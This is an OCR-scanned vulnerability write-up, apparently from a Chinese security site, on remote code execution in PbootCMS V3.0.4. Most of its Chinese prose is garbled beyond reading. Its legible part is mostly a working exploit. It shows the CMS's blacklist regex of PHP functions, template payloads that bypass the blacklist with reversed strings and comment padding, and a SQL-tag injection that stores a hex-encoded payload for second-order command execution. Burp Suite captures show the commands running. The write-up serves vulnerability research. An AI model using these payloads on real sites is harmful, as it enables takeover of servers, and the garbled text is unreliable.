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AYACHE 75X PbootCms V3.04 BI& RCE WU URE, YERBEZEIME Y, AT %
CMS BIJLRAM T1BE, FRLLBIEZERTRES =LK,

=

][

ARIICF 11X PbootCms V3.04 Bie RCE MIZRIE, XERFEZEMSE 7, HT 1% CMS BIJLATM TIE2E, A
DRSS EATIOY ESaE Rusbis

HEEEE T
AT PbootCms ZHI, BN TIBEN—LERHT T —LHMiE, ZEBHEEZTU MR E
https://xz.aliyun.com/t/8321

https://xz.aliyun.com/t/8663

ERMEREEESEAEITZ CMS Fi5, ZAREREEENEREEIREN If R, hopa RS RE
TR, YT, MEZRNEREN ZNRE, AXEMEFE TG RCE W—LL&E, GENEZEREIRED

REE TR RYXENFELELRE
EEEEKREN, BREMDAZENT f iENRER, B—F=71EN

Npboot:if\(([*}M\$]+))\H[\s\S]*?){Vpboot:if\}/
[([W]+) (IX00-\XTFX7F\N\<\>\%o\w\s\\\1+) 2\(/i

JOOWAS. T+ T\S_GET\DI(\$_POST\D|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(bas
e64)|(")|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(requ
est)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_strin

g)l(htmlspecialchars)|(session_id)/i

RN T E—TRAER, F=FENZT (Iws\.1+\) 2NE

7 [(\(1\w\s\.1+\))]

Visualize Export Image Embed On My Site! | B IgnoreCase B Multiline B GlobalMatch

RegExp: /(\([\w\s.]+\))/

Group #1

One of:

WhiteSpace
00—« ) —O

D)

1 or more times

BRI REZBEL If MERFHBERPIVNESFERS, BR2ETMH ox(xxx”) XA RT ATTALEN
FT\ oM RAIROCAS AT, IAERIDBA TP AEERERMR, DAAT system BRECH BR, REIR— MOEHRATI0R;
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PbootCms-3.04 i

AT system RYENIRES, SIPMERI ARG

strrev('metsys') (‘'whoami');

BLAERBRZEENEHU T payload i

{pboot:if(1) strrev(‘metsys')(‘whoami');//)}y7mO01i{/pboot:if}

Wil 2 fa= &MANEERTT, FANTTELRITE 5 EN,

ARCEZE R - Z4%, REWHTEE

B (8 B AVE LRI TED M F A T L 2RISR

if (preg_match_all( pattern: '/ ([\w]+) ([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\1+)2\(/i',

foreach ($matches2[1] as $value) {

echo "
print_r($value);
echo "::::""'r

r

if (function_exists($value) &&

print_r( value: "dgl");
$danger = true;
break;

! in_array($value, $white_fun)) {

[ JON ) Burp Suite Professional v2.1.07 - Temporary Project - licensed to yemoli

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T FastJsonScan T ShiroScan T Passive Scan Client T Fastjson scan ]

1 x 2 x
Cancel > | Target: http://pb.com / @
Request Response

Raw | Params | Headers | Hex

Raw | Headers | Hex | Render

GET http://pb.com/ HTTP/1.1

Host: pb.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:87.0) Gecko/20100101
Firefox/87.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,2zh-TW;g=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: lg=cn; PbootSystem=mf3s8vk3g397g6bjudmai2q9qi

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

T

>
v

@ Type a search term 0 matches

Done

BRI ERKE
ETIER

|7 strrev &

{pboot:if(1) xxx strrev('metsys')(‘whoami');//)}y7m0Ti{/pboot:if}

https://www.anquanke.com/post/id/244821

HTTP/1.1 200 OK N
Date: Sat, 17 Apr 2021 18:28:53 GMT

Server: Apache

X-UA-Compatible: IE=edge,chrome=1

X-Powered-By: PbootCMS

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-ca

Connection: ose

Content-Typ#f: text/html; charset=utf-8
Content- gth: 19817
====strrev====dgl<!/doctype html>

<html lang="zh">

<head>

<meta charset="utf-8">

<title>PbootCMs-KAFIRGEHMPrp R FIEF RRIZEERL</title>

<meta name="keywords" content="cms,%¥cms, Fifcms, Billcms , Blficms ">

<meta name="description"
content="PbootCMSE—ELIMMZEXAFREHMpap A FMIEF KRIFEERY , B—EBK. B
SRIRH A 2R AKIPHP
CMSIRES | AEREIE &M MILFF RIRIGHITE, YT AL IBRIBRIRITE | REEHTML?}EW@REF&&JM
5o Eﬁizsﬁ??(;llﬂiﬁ%ﬁﬁ%ﬁ??ﬁﬂﬁﬁﬁ FBATA RFARENRIRESEONEF RRIZRAL R, ">

<meta name="viewport"
content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,shrink-t
o-fit=no">

<link rel="stylesheet"
href="/template/default/bootstrap/css/bootstrap.min.css" >

<link rel="stylesheet"
href="/template/default/font-awesome-4.7.0/css/font-awesome.min.css">

<link rel="stylesheet" href="/template/default/css/aoyun.css?v=v1.3.5" >

<link rel="stylesheet"
href="/template/default/swiper-4.3.5/css/swiper.min.css">

<link rel="stylesheet" href="/template/default/css/animate.css">

<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">

<script src="/template/default/js/jquery-1.12.4.min.js" ></script>
</head>
<body>

<t-- KERSM -->
<nav class="navbar navbar-light bg-light fixed-top navbar-expand-lg shadow-sm">
<div class="container">
<a class="navbar-brand my-1" href="/">
<img src="/static/images/logo.png" class="logo-sm-height"
height="50">

</a> >
v

@ Type a search term 0 matches

20,140 bytes | 76 millis

— P EEXMRE, FrDOBOI#ES, BEEIIIREINAT strrev BIEINE—EFRE
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Burp Suite Professional v2.1.07 - Temporary Project - licensed to yemoli

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder TComparer T Extender T Project options T User options T FastJsonScan T ShiroScan T Passive Scan Client T Fastjson scan ]

1 x 2 %

Comi ) et | (<02 [ >0

Request

Raw | Params | Headers | Hex

Target: http://pb.com / @

Response

Raw | Headers | Hex HTMLTRender]

GET http://pb.com.
Host: pb.com
User-Agent: Mozil
Firefox/87.0

Accept-Language:
Accept-Encoding:
Connection: close
Cookie: lg=cn; Pb
Upgrade-Insecure-.
Cache-Control: ma:

/ HTTP/1.1

A
>~
la/5.0 (Macintosh; Intel Mac O0S X 10.15; rv:87.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
zh-CN,zh;g=0.8,2zh-TW;g=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;qg=0.2
gzip, deflate
ootSystem=mf3s8vk3g397g6bjudmai2q9qgi
Requests: 1
x-age=0
4
v
- [ Type a search term 0 matches

Done

HTTP/1.1 200 OK

Date: Sat, 17 Apr 2021 18:38:49 GMT
Server: Apache

X-UA-Compatible: IE=edge,chrome=1
X-Powered-By: PbootCMS

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Connection: close

Content-Type: text/html; charset=utf-8
Content-Length: 951

T

<!doctype html>
<html>
<head>

<meta charset="utf-8">

<title>HiRfER</title>

<meta name="viewport" content="width=device-width, initial-scale=1.0,
minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" />

<meta name="apple-mobile-web-app-capable" content="yes" />

</head>
<body>

<div style="margin-left:10%;margin-top:5%;">
<div style="margin-bottom:20px;"><img src="/core/template/face02.png"
height="120"></div>
<div style="font-size:20px;margin-bottom:20px;">BFE{TRE: syntax error,
unexpected 'strrev’
(T_STRING) , {iif# : /Users/y3/0Others/Codes/Php/PbootCMS/apps/home/controller/ParserCont
roller.php(3276) : eval()'d code, 881fTo <span id="time"
style="font-size:18px;"></span></div>
<div><span style="font-size:12px;border-top:1lpx solid
#cccjcolor:#ccc;padding-top:2px; ">
PR :3.0.4,
BERYE : parwin ,
WEBRIF : Apache
</span></div>
</div>

</body>
</html>

4
v

o (<]

‘ Type a search term 0 matches

1,272 bytes | 74 millis

FIMBEEIEI T eval ATEIRVER, XIRBARNININGT 715, eval HAT T HRINTMARNAS, RATHGIASEH

TR 7 5EIR, BB AR NRIBIRRIRIAN 7, 3l

UERIRM T 2F—FRNA

(o)

=== Tuesday 2014/09/15 16:34

echo FE2— TR (ER—MESEM) |

A, B5|5, W5[SHEAILA, echo
UARESZER—TRENLETX. B, WMRIRIEL echo BEZ TS, ML

AEEER/FES,
O iFie (0) e SIAESR

B ML —

https://www.anquanke.com/post/id/244821

O #4R

BB ITURE ox INE, {E eval IITTRRIRE: £

EL AR —EE(ER/IVE S RIgRS

(FMEREMIESWIE) ARISE TR, Ff
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[ NON ) * y3 — php -a — php — php -a — 80x24

y3 in ~ A php -a
Interactive shell

php > var_dump(function_exists("echo"));
bool(false)

php >

RAFERNINEXR, =W T payload

{pboot:if(1) echo strrev('metsys')(‘'whoami');//)}y7m01i{/pboot:if}

@® @® Burp Suite Professional v2.1.07 - Temporary Project - licensed to yemoli
Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T FastJsonScan T ShiroScan T Passive Scan Client T Fastjson scan ]

1 x |2 x
Send Cancel < | > Target: http://pb.com f ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render

GET http://pb.com/[ HTTP/1.1 A HTTP/1.1 200 OK A
Host: pb.com » Date: Sat, 17 Apr 2021 18:51:48 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:87.0) Gecko/20100101 Server: Apache
Firefox/87.0 X-UA-Compatible: IE=edge,chrome=1
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8 X-Powered-By: PbootCMS
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;g=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate
Connection: close Pragma: no-cache
Cookie: lg=cn; PbootSystem=mf3s8vk3g397g6bjuIdmai2q9qgi Connection: close
Upgrade-Insecure-Requests: 1 Content-Type: text/html €harset=utf-8
Cache-Control: max-age=0 Content-Length: 197

cho====y3
y3<!doctype html>
<html lang="zh">

<head>

<meta charset="utf-8">

<title>PbootCMS-KAFFRGEIEMPupEIFILF KRIREERS</title>

<meta name="keywords" content="cms,%¥cms, FFifcms, Billcms, Bificms ">

<meta nam description”
content="PbootCMSR—ELHNKLEXRAFREENpupRI MISF LIRIGEBERS , B —ESK. @A
SRIHY ] R ERRFIROPHP

CMSIRES , AR R ARAUMIFF AIRIRNBE, RIRAELIERORIRITE | BMWATMLIOOO BT L BlF
b, BARMTAEMSERAETHNER , FEHTH AFRENELRURENMEF RBZIERATR, ">

<meta name="viewport"
content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,shrink-t
o-fit=no">

<link rel="stylesheet"
href="/template/default/bootstrap/css/bootstrap.min.css" >

<link rel="stylesheet"
href="/template/default/font-awesome-4.7.0/css/font-awesome.min.css">

<link rel="stylesheet" href="/template/default/css/aoyun.css?v=v1.3.5" >

<link rel="stylesheet"
href="/template/default/swiper-4.3.5/css/swiper.min.css">

<link rel="stylesheet" href="/template/default/css/animate.css">

<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">

<script src="/template/default/js/jquery-1.12.4.min.js" ></script>

</head>
<body>

<t-- KERSHM -->
<nav class="navbar navbar-light bg-light fixed-top navbar-expand-lg shadow-sm">
<div class="container">
<a class="navbar-brand my-1" href="/">
<img src="/static/images/logo.png" class="logo-sm-height"

-~ height="50"> -~
v </a> v
@ Type a search term 0 matches @ ( + Type a search term 0 matches
Done 20,079 bytes | 91 millis
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RINHAT T system KL, [k BEMMIE, ESHERAIRMEIMA, WF

{pboot:if(1) /*y*/ strrev('metsys') ('whoami');//) }y7mO1i{/pboot:if}

BEARXFRITHLEANER, HMNFE2IWE AP AIEN SRR f in%, £ LENSEXERT]ZETH
S RINEELN ] DU A 1M ARY if i85, FEX T pboot @if IR FILMEA {pboot{user:password}:if XIEAIHZ

NG, BEMIZRAFERT decode_string BREY, EARERENTINENS | SEHIBITRN, TTAERHNT, AMMBIE
MO AIEEAIERIRNABANEEEREWNS | SHEIE PN ENRE, PAMAERIA RIS RATTEN ET
BENIARR, FIMEZEIN— NS EMNNALN, SHMBRIMEENSHEESFETHA.

F#E cms BT HGARMERTOR I T X —FiER

PbootCMS V3.0.4 build 2021-02-14 B

-

. #rt{pboot:sql sql="1E10)"}sql:FEx]{/pboot:sql} 5 BERIMRE ;
. TR ESBEEHTTPSINAES 2K

. BBk R INEES

. ST RE M & ERFR ),
BEMHTHCONEEAMERE

FreRlayuih s HThRAS ;

. BERRFENZ N

. MEABSEIREAIE;

0o N O o0 b~ WN

REFFTIBIN T ##HT sol BOMnEE, XFUEWRERMN IR R o BIRRINEE, MITHITBER sql 1B86), XN —FA R
T FMETRIMEE ;. FTMAEEURIRVARAR R A DUEREE S B ELIEATNINEES), RRIEQSFRELIE
PRy, BRNBATA AR BRI e RINEENIT sql 180), Rirstid A\ BIEEES, Mo NBEY/EaREINREEE RCE,
BABERIFATEEEWN NABEEFEE:

1 TR BN R TR
2. BIRIERINAEAMITAS TR 18 sql 154

ERE—MITRIIRR, EYHIIREREN AN AEANRIESAEBNTE, WHOE ay_site TR
copyright FE, BARNIE NFEEIEDE

update ay_site set copyright= ({75916 47, BEH®R5[S) where id = 1;

EERNEE— MR sol FREAIRAD
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/] FENTEENXSQLER,
public function parserSqlListLabel($content)
{
$pattern = '/\{pboot:sal(\s+["*}+)?\}[\s\S]*?){\/pboot:sal\}/";
$pattern2 = 'N[sql:([\w]+) (\s+["]]+)?\1/";

if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);

for ($i = 0; $i < $count; $i ++) {
V3N

$params = $this->parserParam($matches[1][$i]);
if (! self::checkLabellLevel($params)) {

$content = str_replace($matches[0][$i], "', $content);

continue;

$num = 1000; // s A ELEVI000 55
$sqgl ="
foreach ($params as $key => $value) {
switch ($key) {
case 'num':
$num = $value;
break;
case 'sql":
$sql = $value;
break;

V&S = YA et
if (preg_match('/ay_user|lay_member/i', $sql)) {
$content = str_replace($matches[0][$i], ', $content);

continue;

/) HITE BB 52 RA)
if ($num && ! preg_match('/limit/i', $sql)) {
$sql .= " limit " . $num;

/R

if (! $data = $this->model->all($sql)) {
$content = str_replace($matches[0][$i], "', $content);

continue;

/] AR AR
if (preg_match_all($pattern2, $matches[2][$i], $matches2)) {
$count2 = count($matches2[0)); // TEFFFIEIAE17% 418

}else {
$count2 = 0;

$out_html ="";

$pagenum = defined('PAGE') ? PAGE : 1;
$key = ($pagenum - 1) * $num + 1;
foreach ($data as $value) { // X B 1GEIES 0BT

fnane html = Ematrhes211Ril-
https://www.anquanke.com/post/id/244821 6/10
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e — o S L L
for ($j = 0; $j < $Scount2; $j ++) { / 1B E1EZ1E
$params = $this->parserParam($matches2[2][$j]);
switch ($matches2[1][$j]) {
case 'n':
$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html);
break;
case 'i'":
$one_html = str_replace($matches2[0][$]j], $this->adjustLabelData($params, $key), $one_html);
break;
default:
if (isset($value->{$matches2[1][$j]})) {

$one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $Sone_html);

}
}
}
$key ++;
$out_html .= $one_html;
}
$content = str_replace($matches[0][$i], $out_html, $content);
}
}
return $content;
}

Hihg—bzegig

2708 // EHRARTRIL

2709 if (preg_match( pattern: ' /ay_user|ay_member/i', $sql)) {

2710 $content = str_replace($matches[0][$i], replace: '', $content);
2711 continue;

2712 } I
2713%

sql IBOIA N ay_user 5 ay_member P PFRIFITIRIE, ERAEME(IEMBINMIEE, BEEZERMAE, HEFHN
BB ff $this->parserParam($matches[1][$il); , IRZF1ZTE

3483 // BATSE

3484 protected function parserParam($string, $striptags = true)

3485 {

3486 if (! $string = trim($string))

3487 return array();

3488 $string = preg_replace( pattern: ' /\s+/', replacement: ' ', $string); // ZERALL
3489

3490 if ($striptags) {...}

3493

3494 $param = array(Q);

3495 if (preg_match_all( pattern: '/(C[\wl+) [\sI?=[\sI2C[\'\"TCIA\"\"1+)2[\"\"T[C[~\z
3505 /! print_r($param);

3506 return $param;

3507 }

3508

BATFTEI— N RROANE, (AW MRZERNIL

{pboot:sql sgl=update ay_site set copyright= 0x68656¢c6¢6f where id = 1;,#}17{/pboot:sql}

https://www.anquanke.com/post/id/244821
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[ BON ) Burp Suite Professional v2.1.07 - Temporary Project - licensed to yemoli
Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder TComparer T Extender T Project options T User options T FastJsonScan T ShiroScan T Passive Scan Client T Fastjson scan ]

1 x|2x[3x|4x|[6x|7x|[8x]9 x

Cancel >|r Target: http://pb.com / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
GET A HTTP/1.1 200 OK A
/?keyword=3%7Bpboot$3Asql+sqls3Dupdatetay_site+set+copyright$3D+0x68656c6c6f+where+id+ Date: Mon, 19 Apr 2021 17:08:08 GMT -
%3D+1%3B%23%7D11%7B%2Fpboot%3Asql%7D HTTP/1.1 Server: Apache
Host: pb.com X-UA-Compatible: IE=edge,chrome=1
Cache-Control: max-age=0 X-Powered-By: PbootCMS
Upgrade-Insecure-Requests: 1 Expires: Thu, 19 Nov 1981 08:52:00 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Cache-Control: no-store, no-cache, must-revalidate
(KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Pragma: no-cache
Accept: Connection: close
text/html,application/xhtml+xml,application/xml;qg=0.9,image/avif,image/webp,image/apn Content-Type: text/html; charset=utf-8
g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Content-Length: 302
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9 Array
Cookie: Hm_lvt_ £f6£f37dc3416ca514857b78d0b158037e=1618631479; lg=cn; (
PbootSystem=tngke8757id2t0hekrp71lbdnt5 [separator] => >
Connection: close )
Array
| (
[num] => 12
[order] => sorting
[scode] => 5
[field] => title|content
)
Array
(
[num] => 10
[parent] => 0
)
Array
(
[scode] => 1
Array
[fcode] => 2
)
Array
(
[sql] => update
[copyright] => 0x68656c6c6f
[id] => 1;#
)
4 4
v v
@ Type a search term 0 matches ® Type a search term 0 matches
Done 623 bytes | 34 millis
B8R B FIEMBIEIT LS, (FHEERIBAZEN D ENEDRIIENILER T, SRS RANERE
N N N — N N
BB )i , (FREERIBNZERE D ENETEN 27T, BT RERRATR
. — kK H kK kK H — [*k* kK ** /i Kk [— Rk [ .
{pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6f/**/where/**/id/**/=/**/1,#}11{/pboot:sql}
[ JON ) Burp Suite Professional v2.1.07 - Temporary Project - licensed to yemoli
Burp Project Intruder Repeater Window Help
[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T FastJsonScan T ShiroScan T Passive Scan Client T Fastjson scan ]
1 x 2 x 3 x 4 x 6 x 7 x 8 x 9 x
Cancel >|r Target: http://pb.com / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
GET N HTTP/1.1 200 OK N
/?keyword={pboot$3asql+sql$3dupdate/**/ay site/**/set/**/copyright%3d/**/0x68656c6c6f > Date: Mon, 19 Apr 2021 17:29:52 GMT >
/**/where/**/id/**/%3d/**/1%3b%23}11{/pboot%3asql} HTTP/1.1 Server: Apache
Host: pb.com X-UA-Compatible: IE=edge,chrome=1
Cache-Control: max-age=0 X-Powered-By: PbootCMS
Upgrade-Insecure-Requests: 1 Expires: Thu, 19 Nov 1981 08:52:00 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 Cache-Control: no-store, no-cache, must-revalidate
(KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Pragma: no-cache
Accept: Connection: close
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn Content-Type: text/html; charset=utf-8
g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Content-Length: 329
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9 Array
Cookie: Hm_lvt_ £6£37dc3416ca514857b78d0b158037e=1618631479; lg=cn; (
PbootSystem=tngke8757id2t0hekrp71lbdnt5 [separator] => >
Connection: close )

Array

(
[num] => 12
[order] => sorting
[scode] => 5
[field] => title|content

)

Array

(
[num] => 10
[parent] => 0

)

Array

[scode] => 1
;rray

[fcode] => 2
;rray

(

[sql] =>
update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6£f/**/where/**/id/**/=/**/1;4#
)

-~
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PbootCms-3. 047 GRCEZ I FE - 2%, REXWNFEE

%

v
@ . [ Type a search term ‘ 0 matches
Done

R INFEAT 2 Hed

TREMIED, KRaRIT—F

icp

I~
L4

@

‘ Type a search term 0 matches

650 bytes | 45 millis

theme statistical copyright

SR PHP CMSIRIS, BERSHRE LD WMISTF R EIZNE #ICP#% 888888885 default hello

BIEEFRANERINAT T 8BF, 1 hello AR AIREIED]

Ve

{pboot:sqgl sgl=update/**/ay_site/**/set/**/copyright=/**/0x67b70626f6f747b757365723a70617373776f72647d3a69662831296563686f207374
7272657628276d6574737973272928276¢7327293b2f2f297d79376d3031697b2f70626f6f747b757365723a70617373776f72647d3a69667d/**/

where/**/id/**/=/**/1. #}11{/pboot:sql}

[ NON ) Burp Suite Professional v2.1.07 - Temporary Project - licensed to yemoli

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T_Rep_qaggr_T Sequencer T Decoder T Comparer T Extender T Project options T User options T FastJsonScan T ShiroScan T Passive Scan Client T Fastjson scan ]

1x|[2x |3 x |4x[6x|7x[8x]9x|.
Cancel > Target: http://pb.com / ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
GET N HTTP/1.1 200 OK N
/?keyword={pboot%3asql+sql%3dupdate/**/ay_site/**/set/**/copyright%3d/**/0x67b70626f6 = Date: Mon, 19 Apr 2021 17:44:08 GMT =
£747b757365723a70617373776£72647d3a69662831296563686£2073747272657628276d65747379732 Server: Apache
72928276c7327293b2£2£297d79376d3031697b2£70626£6£747b757365723a70617373776£72647d3a6 X-UA-Compatible: IE=edge,chrome=1
9667d/**/where/**/id/**/%3d/**/1%3b%23}11{/pboot%3asql} HTTP/1.1 X-Powered-By: PbootCMS
Host: pb.com Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: max-age=0 Cache-Control: no-store, no-cache, must-revalidate
Upgrade-Insecure-Requests: 1 Pragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 Connection: close
(KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Content-Type: text/html; charset=utf-8
Accept: Content-Length: 921
text/html,application/xhtml+xml,application/xml;qg=0.9,image/avif,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 <!doctype html>
Accept-Encoding: gzip, deflate <html>
Accept-Language: zh-CN,zh;g=0.9 <head>
Cookie: Hm_lvt_£6£37dc3416ca514857b78d0b158037e=1618631479; lg=cn; <meta charset="utf-8">
PbootSystem=tngke8757id2t0hekrp71bdnt5 <title>fHiR(ER</title>
Connection: close <meta name="viewport" content="width=device-width, initial-scale=1.0,
minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" />
<meta name="apple-mobile-web-app-capable" content="yes" />
</head>
<body>
<div style="margin-left:10%;margin-top:5%;">
<div style="margin-bottom:20px;"><img src="/core/template/face02.png"
height="120"></div>
<div style="font-size:20px;margin-bottom:20px;">BFFE{TRE: Call to a member
function fetch_object() on
boolean , {iiff : /Users/y3/0Others/Codes/Php/PbootCMS/core/database/Mysqli.php , 8820917,
<span id="time" style="font-size:18px;"></span></div>
<div><span style="font-size:12px;border-top:1lpx solid
#cccjcolor:#ccc;padding-top:2px; ">
BEEE :3.0.4,
$BIFRYE : Darwin ,
WEBRIF : Apache
</span></div>
</div>
</body>
</html>
4 4
v v
@ Type a search term 0 matches @ Type a search term 0 matches
Done 1,242 bytes | 35 millis
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[ BON ) Burp Suite Professional v2.1.07 - Temporary Project - licensed to yemoli

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T_nggggr_T Sequencer T Decoder TComparer T Extender T Project options T User options T FastJsonScan T ShiroScan T Passive Scan Client T Fastjson scan ]

1 x |2 x 3 x 4 x 6 x 7 x 8 x 9 x -

Request

Raw | Params | Headers | Hex

Target: http://pb.com / @

Response

| Raw | Headers | Hex | Render

GET / HTTP/1.1 A
Host: pb.com >
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9,image/avif,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9
Cookie: Hm_lvt_ £6£f37dc3416ca514857b78d0b158037e=1618631479; lg=cn;
PbootSystem=tngke8757id2t0hekrp71lbdnt5
Connection: close
4
v
@ - [ Type a search term 0 matches

Done

PINEIINAT 1 system BRIER

BROZRIENERRAEZERNEFIEI THNINER, FENERRBHITE %%Eﬁézaz&%ﬁ
Eﬁ%ﬂ%ﬁ%ﬁu NIUERE, HERIaBITRTH<: X
TERIEFENRE, THESEEFEEHER Mmﬂ%

17 sql 159,
—LEETRINAIINEE, BRI 7S5

https://www.anquanke.com/post/id/244821

HTTP/1.1 200 OK

Date: Mon, 19 Apr 2021 17:46:50 GMT
Server: Apache

X-UA-Compatible: IE=edge,chrome=1
X-Powered-By: PbootCMS

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Connection: close

Content-Type: text/html; charset=utf-8
Content-Length: 19856

LICENSE
README .md
admin.php
api.php
apps
config
core
data
doc
favicon.ico
index.php
rewrite
robots.txt
runtime
static
template
template<!/doctype html>
<html lang="zh">
<head>
<meta charset="utf-8">
<title>PbootCMs-KAFFRZHMpup R MIARBIREERL</citle>
<meta name="keywords" content="cms, %¥cms, Fifcms, B)lcms, Blkicms ">
<meta name="description"
content="PbootCMsE—ERMAKLEXKAFREHMpap R MISF RREEERSE , B—EBK. A
RIFR A 2B ARIPHP
CMSIREY , RERIA R RRMU LT AIRIRHTEE, RITRARELIBRORIRITE , IRMHTMLIAGOOREFF R BIF
Yo Eﬁ&e%?k;ﬂﬂiﬁ%ﬁ&%ﬁ?iﬁmﬁﬁ BTN AT RENC R RENTET KRR ASR, ">
<meta name="viewport"
content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,shrink-t
o-fit=no">
<link rel="stylesheet"
href="/template/default/bootstrap/css/bootstrap.min.css" >
<link rel="stylesheet"

href="/template/default/font-awesome-4.7.0/css/font-awesome.min.css"> 4
<link rel="stylesheet" href="/template/default/css/aoyun.css?v=v1.3.5" > v
@ Type a search term 0 matches

20,179 bytes | 92 millis
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